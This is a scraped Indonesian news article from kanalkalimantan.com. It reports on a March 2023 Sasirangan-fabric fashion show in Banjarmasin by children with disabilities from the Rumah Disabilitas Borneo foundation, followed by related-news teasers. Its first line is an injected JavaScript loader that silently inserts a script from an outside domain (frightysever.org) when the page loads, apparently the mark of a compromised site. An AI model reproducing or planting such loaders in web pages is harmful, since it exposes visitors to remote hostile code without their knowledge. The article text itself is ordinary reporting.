(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Berjalan lenggak-lenggok bak model ternama. Begitulah aksi anak-anak berkebutuhan khusus di Kota Banjarmasin yang memakai kostum kain Sasirangan, Sabtu (11/3/2023).
Dengan keterbatasan yang dimiliki, anak-anak binaan Rumah Disabilitas Borneo (RDB) ini berjalan dengan percaya diri mengikuti pentas fashion show di Balai Kemensos, kawasan Mulawarman, Kota Banjarmasin.
“Banjarmasin mengadakan event Banjarmasin Festival Sasirangan (BSF), kami juga tergerak mengadakan fashion show Sasirangan untuk Disabilitas ini,” ungkap Noor Hidayah, ketua Yayasan Rumah Disabilitas Borneo.
Rumah Disabilitas Borneo (RDB) sudah berdiri sejak tahun 2021. Terdapat 25 anak berkebutuhan khusus seperti tuna rungu, tuna wicara, dan lain-lain dibina setiap hari diyayasan tersebut.
Baca juga:Â Melindungi Identitas Motif Kain Sasirangan Pendaftaran HaKI Dilakukan
Dijelaskan Hidayah, anak-anak disabilitas binaannya sudah sejak lama dilatih untuk membuat kain sasirangan dan dijadikan pakaian berbagai model.
Dibantu oleh pelatih, anak-anak berkebutuhan khusus ini sudah dapat memproduksi berbagai pakaian yang terbuat dari kain sasirangan, bahkan sudah dijual ke berbagai daerah.
Pemesanan sudah sampai ke Bali, dan produk mereka juga diabawa ke Belanda kemaren dibantu CSR Pertamina,” kata Hidayah
Seperti pada kegiatan fashion show di Balai Kemensos Sabtu (11/3/2023) siang, anak-anak ini dengan percaya diri menampilkan hasil karyanya sendiri.
Meskipun kadang dipandang sebelah mata, mereka berusaha membuktikan jika anak-anak berkebutuhan khusus seperti mereka tidak kalah dengan manusia normal pada umumnya.
Baca juga:Â MTQ Ke-49 Tingkat Kabupaten HSU Resmi Dimulai
“Tujuan kami untuk mengenalkan karya mereka. Supaya mereka tidak dipandang sebelah mata. Anak-anak Disabilitas ini juga bisa melaksanakan fashion show bahkan buatan mereka sendiri kainnya,” ucap Ketua Yayasan Disabilitas Borneo ini.
Tidak banyak yang menjadi harapan perempuan muda ini. Ia hanya menginginkan Kain sasirangan karya anak-anak disabilitas bisa semakin dikenal masyarakat.
“Karena kualitas mereka juga tidak kalah jika bersaing dengan pengrajin (Sasirangan) lain,” tutup Noor Hidayah. (kanalkalimantan.com/rizki)
Reporter: rizki
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.